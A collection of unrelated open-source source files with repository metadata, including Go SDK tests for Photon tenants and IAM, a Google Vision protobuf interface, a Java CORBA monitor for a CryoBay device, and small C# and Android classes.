modemap = {beanshell: 'text/x-java', groovy: 'groovy', js: 'javascript'};"); pw.println("var selectEngine = document.getElementById('selectEngine');"); pw.println("var editor = document.getElementById('editor');"); pw.println("var cmopts = {"); pw.println(" mode: modemap[selectEngine.value],"); pw.println(" lineNumbers: true, autofocus: true, indentUnit: 4"); pw.println("}"); pw.println("var cm = CodeMirror.fromTextArea(editor, cmopts);"); pw.println("selectEngine.onchange = function(e) { cm.setOption('mode', modemap[selectEngine.value]); }"); pw.println("</script>"); pw.println("</body>"); pw.println("</html>"); pw.flush(); } }
searchtechnologies/heritrix-connector
engine-3.1.1/engine/src/main/java/org/archive/crawler/restlet/ScriptResource.java
Java
apache-2.0
13,729
// Copyright (c) 2017 VMware, Inc. All Rights Reserved. // // This product is licensed to you under the Apache License, Version 2.0 (the "License"). // You may not use this product except in compliance with the License. // // This product may include a number of subcomponents with separate copyright notices and // license terms. Your use of these subcomponents is subject to the terms and conditions // of the subcomponent's license, as noted in the LICENSE file. package photon import ( "fmt" "reflect" . "github.com/onsi/ginkgo" . "github.com/onsi/gomega" "github.com/vmware/photon-controller-go-sdk/photon/internal/mocks" ) var _ = Describe("Tenant", func() { var ( server *mocks.Server client *Client tenantID string ) BeforeEach(func() { server, client = testSetup() }) AfterEach(func() { cleanTenants(client) server.Close() }) Describe("CreateAndDeleteTenant", func() { It("Tenant create and delete succeeds", func() { mockTask := createMockTask("CREATE_TENANT", "COMPLETED") server.SetResponseJson(200, mockTask) tenantSpec := &TenantCreateSpec{Name: randomString(10, "go-sdk-tenant-")} task, err := client.Tenants.Create(tenantSpec) task, err = client.Tasks.Wait(task.ID) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(task).ShouldNot(BeNil()) Expect(task.Operation).Should(Equal("CREATE_TENANT")) Expect(task.State).Should(Equal("COMPLETED")) mockTask = createMockTask("DELETE_TENANT", "COMPLETED") server.SetResponseJson(200, mockTask) task, err = client.Tenants.Delete(task.Entity.ID) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(task).ShouldNot(BeNil()) Expect(task.Operation).Should(Equal("DELETE_TENANT")) Expect(task.State).Should(Equal("COMPLETED")) }) It("Tenant create fails", func() { tenantSpec := &TenantCreateSpec{} task, err := client.Tenants.Create(tenantSpec) server.SetResponseJson(200, createMockTenantsPage()) Expect(err).ShouldNot(BeNil()) Expect(task).Should(BeNil()) }) It("creates and deletes a tenant with security groups specified", func() { // Create a tenant with security groups. mockTask := createMockTask("CREATE_TENANT", "COMPLETED") server.SetResponseJson(200, mockTask) securityGroups := []string{randomString(10), randomString(10)} expected := &Tenant{ SecurityGroups: []SecurityGroup{ {securityGroups[0], false}, {securityGroups[1], false}, }, } tenantSpec := &TenantCreateSpec{ Name: randomString(10, "go-sdk-tenant-"), SecurityGroups: securityGroups, } task, err := client.Tenants.Create(tenantSpec) Expect(task).ShouldNot(BeNil()) Expect(err).Should(BeNil()) task, err = client.Tasks.Wait(task.ID) Expect(task).ShouldNot(BeNil()) Expect(err).Should(BeNil()) Expect(task.Operation).Should(Equal("CREATE_TENANT")) Expect(task.State).Should(Equal("COMPLETED")) tenantId := task.Entity.ID // Verify that the tenant has the security groups set properly. server.SetResponseJson(200, expected) tenant, err := client.Tenants.Get(tenantId) Expect(err).Should(BeNil()) Expect(tenant.SecurityGroups).Should(Equal(expected.SecurityGroups)) // Delete the tenant. mockTask = createMockTask("DELETE_TENANT", "COMPLETED") server.SetResponseJson(200, mockTask) task, err = client.Tenants.Delete(tenantId) Expect(task).ShouldNot(BeNil()) Expect(err).Should(BeNil()) Expect(task.Operation).Should(Equal("DELETE_TENANT")) Expect(task.State).Should(Equal("COMPLETED")) }) }) Describe("GetTenant", func() { It("Get returns a tenant ID", func() { mockTask := createMockTask("CREATE_TENANT", "COMPLETED") server.SetResponseJson(200, mockTask) tenantName := randomString(10, "go-sdk-tenant-") tenantSpec := &TenantCreateSpec{Name: tenantName} task, err := client.Tenants.Create(tenantSpec) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(task).ShouldNot(BeNil()) Expect(task.Operation).Should(Equal("CREATE_TENANT")) Expect(task.State).Should(Equal("COMPLETED")) mockTenantsPage := createMockTenantsPage(Tenant{Name: tenantName}) server.SetResponseJson(200, mockTenantsPage) tenants, err := client.Tenants.GetAll() mockTenantPage := createMockTenantPage() server.SetResponseJson(200, mockTenantPage) mockTenant, err := client.Tenants.Get("TestTenant") Expect(mockTenant.Name).Should(Equal("TestTenant")) Expect(mockTenant.ID).Should(Equal("12345")) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(tenants).ShouldNot(BeNil()) var found bool for _, tenant := range tenants.Items { if tenant.Name == tenantName && tenant.ID == task.Entity.ID { found = true break } } Expect(found).Should(BeTrue()) mockTask = createMockTask("DELETE_TENANT", "COMPLETED") server.SetResponseJson(200, mockTask) _, err = client.Tenants.Delete(task.Entity.ID) GinkgoT().Log(err) Expect(err).Should(BeNil()) }) }) Describe("GetTenantTasks", func() { var ( option string ) Context("no extra options for GetTask", func() { BeforeEach(func() { option = "" }) It("GetTasks returns a completed task", func() { mockTask := createMockTask("CREATE_TENANT", "COMPLETED") mockTask.Entity.ID = "mock-task-id" server.SetResponseJson(200, mockTask) tenantSpec := &TenantCreateSpec{Name: randomString(10, "go-sdk-tenant-")} task, err := client.Tenants.Create(tenantSpec) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(task).ShouldNot(BeNil()) Expect(task.Operation).Should(Equal("CREATE_TENANT")) Expect(task.State).Should(Equal("COMPLETED")) mockTasksPage := createMockTasksPage(*mockTask) server.SetResponseJson(200, mockTasksPage) taskList, err := client.Tenants.GetTasks(task.Entity.ID, &TaskGetOptions{State: option}) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(taskList).ShouldNot(BeNil()) Expect(taskList.Items).Should(ContainElement(*task)) mockTask = createMockTask("DELETE_TENANT", "COMPLETED") server.SetResponseJson(200, mockTask) _, err = client.Tenants.Delete(task.Entity.ID) GinkgoT().Log(err) Expect(err).Should(BeNil()) }) }) Context("Searching COMPLETED state for GetTask", func() { BeforeEach(func() { option = "COMPLETED" }) It("GetTasks returns a completed task", func() { mockTask := createMockTask("CREATE_TENANT", "COMPLETED") mockTask.Entity.ID = "mock-task-id" server.SetResponseJson(200, mockTask) tenantSpec := &TenantCreateSpec{Name: randomString(10, "go-sdk-tenant-")} task, err := client.Tenants.Create(tenantSpec) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(task).ShouldNot(BeNil()) Expect(task.Operation).Should(Equal("CREATE_TENANT")) Expect(task.State).Should(Equal("COMPLETED")) mockTasksPage := createMockTasksPage(*mockTask) server.SetResponseJson(200, mockTasksPage) taskList, err := client.Tenants.GetTasks(task.Entity.ID, &TaskGetOptions{State: option}) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(taskList).ShouldNot(BeNil()) Expect(taskList.Items).Should(ContainElement(*task)) mockTask = createMockTask("DELETE_TENANT", "COMPLETED") server.SetResponseJson(200, mockTask) _, err = client.Tenants.Delete(task.Entity.ID) GinkgoT().Log(err) Expect(err).Should(BeNil()) }) }) }) Describe("TenantQuota", func() { It("Get Tenant Quota succeeds", func() { mockQuota := createMockQuota() // Create Tenant tenantID = createTenant(server, client) // Get current Quota server.SetResponseJson(200, mockQuota) quota, err := client.Tenants.GetQuota(tenantID) GinkgoT().Log(err) eq := reflect.DeepEqual(quota.QuotaLineItems, mockQuota.QuotaLineItems) Expect(eq).Should(Equal(true)) }) It("Set Tenant Quota succeeds", func() { mockQuotaSpec := &QuotaSpec{ "vmCpu": {Unit: "COUNT", Limit: 10, Usage: 0}, "vmMemory": {Unit: "GB", Limit: 18, Usage: 0}, "diskCapacity": {Unit: "GB", Limit: 100, Usage: 0}, } // Create Tenant tenantID = createTenant(server, client) mockTask := createMockTask("SET_QUOTA", "COMPLETED") server.SetResponseJson(200, mockTask) task, err := client.Tenants.SetQuota(tenantID, mockQuotaSpec) task, err = client.Tasks.Wait(task.ID) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(task).ShouldNot(BeNil()) Expect(task.Operation).Should(Equal("SET_QUOTA")) Expect(task.State).Should(Equal("COMPLETED")) }) It("Update Tenant Quota succeeds", func() { mockQuotaSpec := &QuotaSpec{ "vmCpu": {Unit: "COUNT", Limit: 30, Usage: 0}, "vmMemory": {Unit: "GB", Limit: 40, Usage: 0}, "diskCapacity": {Unit: "GB", Limit: 150, Usage: 0}, } // Create Tenant tenantID = createTenant(server, client) mockTask := createMockTask("UPDATE_QUOTA", "COMPLETED") server.SetResponseJson(200, mockTask) task, err := client.Tenants.UpdateQuota(tenantID, mockQuotaSpec) task, err = client.Tasks.Wait(task.ID) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(task).ShouldNot(BeNil()) Expect(task.Operation).Should(Equal("UPDATE_QUOTA")) Expect(task.State).Should(Equal("COMPLETED")) }) It("Exclude Tenant Quota Items succeeds", func() { mockQuotaSpec := &QuotaSpec{ "vmCpu2": {Unit: "COUNT", Limit: 10, Usage: 0}, "vmMemory3": {Unit: "GB", Limit: 18, Usage: 0}, } // Create Tenant tenantID = createTenant(server, client) mockTask := createMockTask("DELETE_QUOTA", "COMPLETED") server.SetResponseJson(200, mockTask) task, err := client.Tenants.ExcludeQuota(tenantID, mockQuotaSpec) task, err = client.Tasks.Wait(task.ID) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(task).ShouldNot(BeNil()) Expect(task.Operation).Should(Equal("DELETE_QUOTA")) Expect(task.State).Should(Equal("COMPLETED")) }) }) }) var _ = Describe("Project", func() { var ( server *mocks.Server client *Client tenantID string ) BeforeEach(func() { server, client = testSetup() tenantID = createTenant(server, client) }) AfterEach(func() { cleanTenants(client) server.Close() }) Describe("CreateGetAndDeleteProject", func() { It("Project create and delete succeeds", func() { mockTask := createMockTask("CREATE_PROJECT", "COMPLETED") server.SetResponseJson(200, mockTask) projSpec := &ProjectCreateSpec{ Name: randomString(10, "go-sdk-project-"), } task, err := client.Tenants.CreateProject(tenantID, projSpec) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(task).ShouldNot(BeNil()) Expect(task.Operation).Should(Equal("CREATE_PROJECT")) Expect(task.State).Should(Equal("COMPLETED")) mockProjects := createMockProjectsPage(ProjectCompact{Name: projSpec.Name}) server.SetResponseJson(200, mockProjects) projList, err := client.Tenants.GetProjects(tenantID, &ProjectGetOptions{}) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(task).ShouldNot(BeNil()) Expect(projList).ShouldNot(BeNil()) var found bool for _, proj := range projList.Items { if proj.Name == projSpec.Name && proj.ID == task.Entity.ID { found = true break } } Expect(found).Should(BeTrue()) mockTask = createMockTask("DELETE_PROJECT", "COMPLETED") server.SetResponseJson(200, mockTask) task, err = client.Projects.Delete(task.Entity.ID) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(task).ShouldNot(BeNil()) Expect(task.Operation).Should(Equal("DELETE_PROJECT")) Expect(task.State).Should(Equal("COMPLETED")) }) }) Describe("SecurityGroups", func() { It("sets security groups for a tenant", func() { // Create a tenant mockTask := createMockTask("CREATE_TENANT", "COMPLETED") server.SetResponseJson(200, mockTask) tenantSpec := &TenantCreateSpec{Name: randomString(10, "go-sdk-tenant-")} task, err := client.Tenants.Create(tenantSpec) task, err = client.Tasks.Wait(task.ID) Expect(err).Should(BeNil()) Expect(task).ShouldNot(BeNil()) Expect(task.Operation).Should(Equal("CREATE_TENANT")) Expect(task.State).Should(Equal("COMPLETED")) // Set security groups for the tenant expected := &Tenant{ SecurityGroups: []SecurityGroup{ {randomString(10), false}, {randomString(10), false}, }, } mockTask = createMockTask("SET_TENANT_SECURITY_GROUPS", "COMPLETED") server.SetResponseJson(200, mockTask) securityGroups := &SecurityGroupsSpec{ []string{expected.SecurityGroups[0].Name, expected.SecurityGroups[1].Name}, } createTask, err := client.Tenants.SetSecurityGroups(task.Entity.ID, securityGroups) createTask, err = client.Tasks.Wait(createTask.ID) Expect(err).Should(BeNil()) // Get the security groups for the tenant server.SetResponseJson(200, expected) tenant, err := client.Tenants.Get(task.Entity.ID) Expect(err).Should(BeNil()) fmt.Fprintf(GinkgoWriter, "Got tenant: %+v", tenant) Expect(expected.SecurityGroups).Should(Equal(tenant.SecurityGroups)) // Delete the tenant mockTask = createMockTask("DELETE_TENANT", "COMPLETED") server.SetResponseJson(200, mockTask) task, err = client.Tenants.Delete(task.Entity.ID) task, err = client.Tasks.Wait(task.ID) Expect(err).Should(BeNil()) Expect(task.Operation).Should(Equal("DELETE_TENANT")) Expect(task.State).Should(Equal("COMPLETED")) }) }) }) var _ = Describe("IAM", func() { var ( server *mocks.Server client *Client tenantID string ) BeforeEach(func() { server, client = testSetup() tenantID = createTenant(server, client) }) AfterEach(func() { cleanTenants(client) server.Close() }) Describe("ManageTenantIamPolicy", func() { It("Set IAM Policy succeeds", func() { mockTask := createMockTask("SET_IAM_POLICY", "COMPLETED") server.SetResponseJson(200, mockTask) var policy []*RoleBinding policy = []*RoleBinding{{Role: "owner", Subjects: []string{"joe@photon.local"}}} task, err := client.Tenants.SetIam(tenantID, policy) task, err = client.Tasks.Wait(task.ID) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(task).ShouldNot(BeNil()) Expect(task.Operation).Should(Equal("SET_IAM_POLICY")) Expect(task.State).Should(Equal("COMPLETED")) }) It("Modify IAM Policy succeeds", func() { mockTask := createMockTask("MODIFY_IAM_POLICY", "COMPLETED") server.SetResponseJson(200, mockTask) var delta []*RoleBindingDelta delta = []*RoleBindingDelta{{Subject: "joe@photon.local", Action: "ADD", Role: "owner"}} task, err := client.Tenants.ModifyIam(tenantID, delta) task, err = client.Tasks.Wait(task.ID) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(task).ShouldNot(BeNil()) Expect(task.Operation).Should(Equal("MODIFY_IAM_POLICY")) Expect(task.State).Should(Equal("COMPLETED")) }) It("Get IAM Policy succeeds", func() { var policy []*RoleBinding policy = []*RoleBinding{{Role: "owner", Subjects: []string{"joe@photon.local"}}} server.SetResponseJson(200, policy) response, err := client.Tenants.GetIam(tenantID) GinkgoT().Log(err) Expect(err).Should(BeNil()) Expect(response[0].Subjects).Should(Equal(policy[0].Subjects)) Expect(response[0].Role).Should(Equal(policy[0].Role)) }) }) })
vmware/photon-controller-go-sdk
photon/tenants_test.go
GO
apache-2.0
15,445
/* * Copyright 2020 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ // Generated by the protocol buffer compiler. DO NOT EDIT! // source: google/cloud/vision/v1/text_annotation.proto package com.google.cloud.vision.v1; public interface ParagraphOrBuilder extends // @@protoc_insertion_point(interface_extends:google.cloud.vision.v1.Paragraph) com.google.protobuf.MessageOrBuilder { /** * * * <pre> * Additional information detected for the paragraph. * </pre> * * <code>.google.cloud.vision.v1.TextAnnotation.TextProperty property = 1;</code> * * @return Whether the property field is set. */ boolean hasProperty(); /** * * * <pre> * Additional information detected for the paragraph. * </pre> * * <code>.google.cloud.vision.v1.TextAnnotation.TextProperty property = 1;</code> * * @return The property. */ com.google.cloud.vision.v1.TextAnnotation.TextProperty getProperty(); /** * * * <pre> * Additional information detected for the paragraph. * </pre> * * <code>.google.cloud.vision.v1.TextAnnotation.TextProperty property = 1;</code> */ com.google.cloud.vision.v1.TextAnnotation.TextPropertyOrBuilder getPropertyOrBuilder(); /** * * * <pre> * The bounding box for the paragraph. * The vertices are in the order of top-left, top-right, bottom-right, * bottom-left. When a rotation of the bounding box is detected the rotation * is represented as around the top-left corner as defined when the text is * read in the 'natural' orientation. * For example: * * when the text is horizontal it might look like: * 0----1 * | | * 3----2 * * when it's rotated 180 degrees around the top-left corner it becomes: * 2----3 * | | * 1----0 * and the vertex order will still be (0, 1, 2, 3). * </pre> * * <code>.google.cloud.vision.v1.BoundingPoly bounding_box = 2;</code> * * @return Whether the boundingBox field is set. */ boolean hasBoundingBox(); /** * * * <pre> * The bounding box for the paragraph. * The vertices are in the order of top-left, top-right, bottom-right, * bottom-left. When a rotation of the bounding box is detected the rotation * is represented as around the top-left corner as defined when the text is * read in the 'natural' orientation. * For example: * * when the text is horizontal it might look like: * 0----1 * | | * 3----2 * * when it's rotated 180 degrees around the top-left corner it becomes: * 2----3 * | | * 1----0 * and the vertex order will still be (0, 1, 2, 3). * </pre> * * <code>.google.cloud.vision.v1.BoundingPoly bounding_box = 2;</code> * * @return The boundingBox. */ com.google.cloud.vision.v1.BoundingPoly getBoundingBox(); /** * * * <pre> * The bounding box for the paragraph. * The vertices are in the order of top-left, top-right, bottom-right, * bottom-left. When a rotation of the bounding box is detected the rotation * is represented as around the top-left corner as defined when the text is * read in the 'natural' orientation. * For example: * * when the text is horizontal it might look like: * 0----1 * | | * 3----2 * * when it's rotated 180 degrees around the top-left corner it becomes: * 2----3 * | | * 1----0 * and the vertex order will still be (0, 1, 2, 3). * </pre> * * <code>.google.cloud.vision.v1.BoundingPoly bounding_box = 2;</code> */ com.google.cloud.vision.v1.BoundingPolyOrBuilder getBoundingBoxOrBuilder(); /** * * * <pre> * List of all words in this paragraph. * </pre> * * <code>repeated .google.cloud.vision.v1.Word words = 3;</code> */ java.util.List<com.google.cloud.vision.v1.Word> getWordsList(); /** * * * <pre> * List of all words in this paragraph. * </pre> * * <code>repeated .google.cloud.vision.v1.Word words = 3;</code> */ com.google.cloud.vision.v1.Word getWords(int index); /** * * * <pre> * List of all words in this paragraph. * </pre> * * <code>repeated .google.cloud.vision.v1.Word words = 3;</code> */ int getWordsCount(); /** * * * <pre> * List of all words in this paragraph. * </pre> * * <code>repeated .google.cloud.vision.v1.Word words = 3;</code> */ java.util.List<? extends com.google.cloud.vision.v1.WordOrBuilder> getWordsOrBuilderList(); /** * * * <pre> * List of all words in this paragraph. * </pre> * * <code>repeated .google.cloud.vision.v1.Word words = 3;</code> */ com.google.cloud.vision.v1.WordOrBuilder getWordsOrBuilder(int index); /** * * * <pre> * Confidence of the OCR results for the paragraph. Range [0, 1]. * </pre> * * <code>float confidence = 4;</code> * * @return The confidence. */ float getConfidence(); }
googleapis/java-vision
proto-google-cloud-vision-v1/src/main/java/com/google/cloud/vision/v1/ParagraphOrBuilder.java
Java
apache-2.0
5,587
/* * Copyright (C) 2015 University of Oregon * * You may distribute under the terms of either the GNU General Public * License or the Apache License, as specified in the LICENSE file. * * For more information, see the LICENSE file. */ /* * * */ /* * * Varian, Inc. and its contributors. Use, disclosure and * reproduction is prohibited without prior consent. */ import java.awt.event.*; import javax.swing.*; import javax.swing.border.Border; import java.awt.*; import java.io.*; import java.text.*; import cryoaccess.*; import org.omg.CORBA.*; /** * A class to interface to PC clients over CORBA. */ public class ClientGui { public static void main(String[] args) { ORB orb = null; orb = ORB.init(args, null); if (orb != null) { try { new ClientGui(orb); } catch (Exception e) { System.err.println(e); System.exit(-1); } } else { System.err.println("can't initiate orb"); System.exit(-1); } } /*end of main*/ private ORB orb; private org.omg.CORBA.Object obj; private CryoBay cryoBay; public ClientGui(ORB o) throws Exception { ShutdownFrame sf; BufferedReader reader; boolean modulePresent; File file; CryoThread update; orb = o; obj = null; cryoBay = null; //System.out.println("running test client."); // instantiate ModuleAccessor file = new File("/vnmr/acqqueue/cryoBay.CORBAref"); if ( file.exists() ) { reader = new BufferedReader( new FileReader(file) ); obj = orb.string_to_object( reader.readLine() ); } if (obj == null) { throw new Exception("string_to_object is null: cryoBay.CORBAref"); } //System.out.println("Got object."); cryoBay = CryoBayHelper.narrow(obj); if (cryoBay == null) { throw new Exception("cryoBay is null"); } if ( cryoBay._non_existent() ) { throw new Exception("cryoBay is not running"); } sf = new ShutdownFrame(cryoBay); update = new CryoThread(cryoBay, sf, this); sf.show(); update.start(); } /*end of constructor*/ public ORB getOrb(){ return orb; } } /*end of TestClientGui Class*/ class ShutdownFrame extends JFrame implements WindowListener, ActionListener { JButton cmdClose; JLabel lblBStatus; JLabel lblBHeater; JLabel lblBTemp; JLabel lblBCli; JTextField lblStatus; JTextField lblHeater; JTextField lblTemp; JTextField lblCli; public CryoBay cryoB; ShutdownFrame(CryoBay cb) { super("CryoBay Monitor"); cryoB= cb; cmdClose = new JButton("Close"){ public JToolTip createToolTip(){ return new JToolTip(); } }; cmdClose.setToolTipText("Close program"); cmdClose.addActionListener(this); addWindowListener(this); GridBagConstraints gbc = new GridBagConstraints(); Border loweredbevel = BorderFactory.createLoweredBevelBorder(); lblBStatus= new JLabel("Status: "); lblBHeater= new JLabel("Heater: "); lblBTemp= new JLabel(" Temp: "); lblBCli= new JLabel(" CLI: "); lblStatus = new JTextField(17); lblStatus.setEditable(false); lblStatus.setOpaque(true); lblStatus.setBorder(loweredbevel); lblHeater = new JTextField(17); lblHeater.setEditable(false); lblHeater.setOpaque(true); lblHeater.setBorder(loweredbevel); lblTemp = new JTextField(17); lblTemp.setEditable(false); lblTemp.setOpaque(true); lblTemp.setBorder(loweredbevel); lblCli = new JTextField(17); lblCli.setEditable(false); lblCli.setOpaque(true); lblCli.setBorder(loweredbevel); JPanel lblPanel = new JPanel(); lblPanel.setLayout(new GridBagLayout()); gbc.insets = new Insets(2, 5, 2, 5); setGbc(gbc, 0, 0, 1, 1); lblPanel.add(lblBStatus, gbc); setGbc(gbc, 0, 1, 1, 1); lblPanel.add(lblBHeater, gbc); setGbc(gbc, 0, 2, 1, 1); lblPanel.add(lblBTemp, gbc); setGbc(gbc, 0, 3, 1, 1); lblPanel.add(lblBCli, gbc); JPanel valPanel = new JPanel(); valPanel.setLayout(new GridBagLayout()); gbc.insets = new Insets(2, 5, 2, 5); setGbc(gbc, 0, 0, 1, 1); valPanel.add(lblStatus, gbc); setGbc(gbc, 0, 1, 1, 1); valPanel.add(lblHeater, gbc); setGbc(gbc, 0, 2, 1, 1); valPanel.add(lblTemp, gbc); setGbc(gbc, 0, 3, 1, 1); valPanel.add(lblCli, gbc); JPanel buttonPanel = new JPanel(); buttonPanel.setLayout(new GridBagLayout()); gbc.anchor= GridBagConstraints.CENTER; setGbc(gbc, 0, 5, 1, 1); buttonPanel.add(cmdClose, gbc); // finally, add the panels to the content pane getContentPane().setLayout(new GridBagLayout()); gbc.insets = new Insets(10, 10, 10 , 10); gbc.anchor = GridBagConstraints.CENTER; setGbc(gbc, 0, 0, 1, 4); getContentPane().add(lblPanel, gbc); setGbc(gbc, 1, 0, 1, 4); getContentPane().add(valPanel, gbc); setGbc(gbc, 0, 5, 0, 0); getContentPane().add(buttonPanel, gbc); setSize(300, 220); Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize(); setLocation(screenSize.width/2 - 300, screenSize.height/2 - 220); setResizable(true); } private void setGbc(GridBagConstraints gbc, int x, int y, int w, int h) { gbc.gridx = x; gbc.gridy = y; gbc.gridwidth = w; gbc.gridheight = h; } public void actionPerformed(ActionEvent ae) { String cmd = ae.getActionCommand(); if (cmd.equals("Close") ){ cmdDisconnect(); } } public void windowClosing(WindowEvent e) { cmdDisconnect(); } // following not used but need to be "implemented" public void windowActivated(WindowEvent e) {} public void windowClosed(WindowEvent e) {} public void windowDeactivated(WindowEvent e) {} public void windowDeiconified(WindowEvent e) {} public void windowIconified(WindowEvent e) {} public void windowOpened(WindowEvent e) {} private void cmdDisconnect(){ //close main window this.dispose(); System.exit(0); } public CryoBay reconnectServer(ORB o, ReconnectThread rct){ BufferedReader reader; File file; ORB orb; org.omg.CORBA.Object obj; orb = o; obj = null; cryoB = null; try{ // instantiate ModuleAccessor file = new File("/vnmr/acqqueue/cryoBay.CORBAref"); if ( file.exists() ) { reader = new BufferedReader( new FileReader(file) ); obj = orb.string_to_object( reader.readLine() ); } if(obj!=null){ cryoB = CryoBayHelper.narrow(obj); } if (cryoB != null) { if ( !(cryoB._non_existent()) ) { //System.out.println("reconnected!!!!"); rct.reconnected=true; } } }catch(Exception e){ //System.out.println("Got error: " + e); } return cryoB; } private void warning(String msg) { final JDialog warn; JButton ok; JLabel message; warn = new JDialog(); warn.setTitle(msg); message = new JLabel("CryoBay: " + msg); ok = new JButton("Ok"); ok.addActionListener( new ActionListener() { public void actionPerformed(ActionEvent ae) { warn.dispose(); } } ); warn.getContentPane().setLayout( new BorderLayout() ); warn.getContentPane().add(message, "North"); warn.getContentPane().add(ok, "South"); warn.setSize(200, 80); Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize(); warn.setLocation(screenSize.width/2 - 100, screenSize.height/2 - 40); warn.setResizable(false); warn.show(); } } /* end of shutdown frame class */ class CryoThread extends Thread{ CryoBay cryo; ShutdownFrame frame; ClientGui clientGui; ORB orb; ReconnectThread reconnectThread; String[] statusString= {"SYSTEM OFF", "COOLING", "READY", "WARMING", "FAULT", "FAULT- He Pressure", "FAULT- T drift", "RESTARTING", "STOPPING", "EXITING", "Maintenance Needed", "FAULT- Vacuum", "FAULT- Low cooling power", "FAULT- Compressor"}; int status; double heater; double cli; double temp; boolean stop= false; public CryoThread(CryoBay cb, ShutdownFrame sf, ClientGui cg){ cryo= cb; frame = sf; clientGui=cg; } public void updateStates(){ NumberFormat nf= NumberFormat.getInstance(); nf.setMaximumFractionDigits(2); nf.setMinimumFractionDigits(2); try{ //System.out.println("getting variables."); status= cryo.cryoGetStatusCORBA(); frame.lblStatus.setText(statusString[status] + " "); heater= cryo.cryoGetHeaterCORBA(); frame.lblHeater.setText(nf.format(heater) + " watts"); temp= cryo.cryoGetTempCORBA(); frame.lblTemp.setText(nf.format(temp) + " deg"); cli= cryo.cryoGetCliCORBA(); if(Double.isNaN(cli)){ frame.lblCli.setText(cli + " "); } else frame.lblCli.setText(nf.format(cli) + " "); } catch (org.omg.CORBA.COMM_FAILURE cf){ // stop thread and try to reconnect to the server frame.lblStatus.setText("FAILURE!! Server connected?"); stop=true; return; } } public void run(){ //System.out.println("running cryothread"); while(!stop){ updateStates(); try{ sleep(1000); } catch(Exception e){ System.out.println("cannot sleep!"); } } //System.out.println("reconnect thread starting..."); reconnectThread= new ReconnectThread(cryo, frame, clientGui); reconnectThread.start(); } } class ReconnectThread extends Thread{ CryoBay cryo; ShutdownFrame frame; ClientGui clientGui; CryoThread cryoThread; ORB orb; boolean reconnected= false; public ReconnectThread(CryoBay cb, ShutdownFrame sf, ClientGui cg){ cryo= cb; frame = sf; clientGui=cg; orb= clientGui.getOrb(); } public void run(){ while(!reconnected){ cryo= frame.reconnectServer(orb, this); try{ sleep(1000); } catch(Exception e){ System.out.println("cannot sleep!"); } } //System.out.println("starting cryothread"); cryoThread= new CryoThread(cryo, frame, clientGui); cryoThread.start(); } }
OpenVnmrJ/OpenVnmrJ
src/cryo/src/ClientGui.java
Java
apache-2.0
11,697
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Spaetzel.QueueDA { public static class Queue { /// <summary> /// Locks the top message /// </summary> /// <returns></returns> public static Message GetLockTopMessage() { Message result; using (QueueDBWriteInterface db = new QueueDBWriteInterface()) { result = db.GetLockTopMessage(); } return result; } public static int SaveMessage(Message message) { int result; using (QueueDBWriteInterface db = new QueueDBWriteInterface()) { result = db.SaveMessage(message); } return result; } public static void DeleteLockedMessage(int messageId) { using (QueueDBWriteInterface db = new QueueDBWriteInterface()) { db.DeleteLockedMessage(messageId); } } public static int ClearExpiredLocks() { int result; using (QueueDBWriteInterface db = new QueueDBWriteInterface()) { result = db.ClearExpiredLocks(); } return result; } public static Message GetLockMessage(int messageId) { Message result; using (QueueDBWriteInterface db = new QueueDBWriteInterface()) { result = db.GetLockMessage(messageId); } return result; } } }
spaetzel/QueueDA
Queue.cs
C#
apache-2.0
1,645
package group7.anemone.UI; import java.util.LinkedHashMap; import java.util.Set; public class UITheme { public enum Types { SHARK, FISH, FOOD, WALL, BACKGROUND, SIDEPANEL1, NEURON, NEURON_FIRED } private LinkedHashMap<Types, Integer> elements = new LinkedHashMap<Types, Integer>(); public void setColor(Types key, int col){ elements.put(key, col); } public int getColor(Types types){ return elements.get(types); } public Types[] getKeys(){ Set<Types> keys = elements.keySet(); return keys.toArray(new Types[keys.size()]); } }
RuthRainbow/anemone
src/main/java/group7/anemone/UI/UITheme.java
Java
apache-2.0
550
namespace Rutt.Messaging.Models { public sealed class MessagingClientInfo { public MessagingClientType ClientType { get; set; } public string DisplayName { get; set; } public string ExecutorName { get; set; } public string ExecutorSource { get; set; } public string Id { get; set; } public string Url { get; set; } public MessagingClientInfo() { ClientType = MessagingClientType.Unknown; DisplayName = ""; Id = ""; ExecutorName = ""; ExecutorSource = ""; Url = ""; } } }
Redbolts/rutt
src/rutt.pcl/Messaging/Models/MessagingClientInfo.cs
C#
apache-2.0
644
package jp.co.c_lis.prompter.android; import android.app.Application; import android.test.ApplicationTestCase; /** * <a href="http://d.android.com/tools/testing/testing_android.html">Testing Fundamentals</a> */ public class ApplicationTest extends ApplicationTestCase<Application> { public ApplicationTest() { super(Application.class); } }
vuzixtokyo/sample-prompter
app/src/androidTest/java/jp/co/c_lis/prompter/android/ApplicationTest.java
Java
apache-2.0
359
